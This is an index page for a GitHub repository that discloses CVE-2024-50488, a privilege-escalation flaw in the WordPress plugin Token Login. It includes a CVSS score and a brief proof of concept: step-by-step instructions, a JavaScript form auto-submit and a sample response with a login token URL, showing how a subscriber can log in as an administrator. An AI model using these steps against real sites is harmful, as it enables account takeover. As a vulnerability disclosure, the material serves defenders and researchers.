Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/randomrobbiebf/cve-2024-50488
Token Login <= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation
https://github.com/randomrobbiebf/cve-2024-50488
Last synced: about 1 month ago
JSON representation
Token Login <= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2024-50488
- Owner: RandomRobbieBF
- Created: 2024-11-09T10:54:06.000Z (about 2 months ago)
- Default Branch: main
- Last Pushed: 2024-11-09T10:56:30.000Z (about 2 months ago)
- Last Synced: 2024-11-09T11:31:53.143Z (about 2 months ago)
- Size: 0 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# CVE-2024-50488
Token Login <= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation# Description:
The Auto Login using a secure tokenized url. Role wise login restriction. plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.3. This is due to the plugin not properly verifying if a user has permissions to generate a login token for other users. This makes it possible for authenticated attackers, with subscriber-level access and above, to log in as other using including administrators.```
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50488
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: token-login
```POC
---Logged in run this HTML submit.
Change the url to the wordpress site your logged in on.
Change the ID to the user you want to generate the token for.
copy the url and you can login as them```
history.pushState('', '', '/');
document.forms[0].submit();
```
Responce
```
{"status":"success","message":"Successfully regenerated token!","token_url":"http:\/\/kubernetes.docker.internal?__token__=1c8dc9406bc444d1f5cea37fae130f92"}
```